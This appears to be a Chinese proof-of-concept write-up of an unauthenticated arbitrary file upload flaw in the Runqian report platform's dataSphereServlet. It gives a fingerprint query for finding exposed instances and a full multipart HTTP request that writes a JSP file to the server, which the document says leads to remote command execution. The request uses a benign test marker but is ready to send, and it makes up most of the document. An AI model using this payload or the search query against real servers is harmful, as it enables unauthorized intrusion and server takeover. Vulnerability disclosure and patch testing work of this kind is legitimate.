R15-4润乾报表-企业级报表工具-文件上传

漏洞描述：

润乾报表平台 dataSphereServlet 接口存在任意文件上传漏洞，未经身份攻击者可通过该漏洞上传恶意后门文件，执行任意指令，最终可导致服务器失陷。

网站图片:

网络测绘:

Hunter 语法:

鹰图指纹：app.name=“润乾报表平台”

漏洞复现:

payload：

POST /servlet/dataSphereServlet?action=38 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAT7qVwFychEm0Dt7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryAT7qVwFychEm0Dt7
Content-Disposition: form-data; name="openGrpxFile"; filename="qwe.jsp"
Content-Type: text/plain

<% out.println("hello"); %>
------WebKitFormBoundaryAT7qVwFychEm0Dt7
Content-Disposition: form-data; name="path"

.//
------WebKitFormBoundaryAT7qVwFychEm0Dt7
Content-Disposition: form-data; name="saveServer"

1
------WebKitFormBoundaryAT7qVwFychEm0Dt7--

效果图:

验证

RCE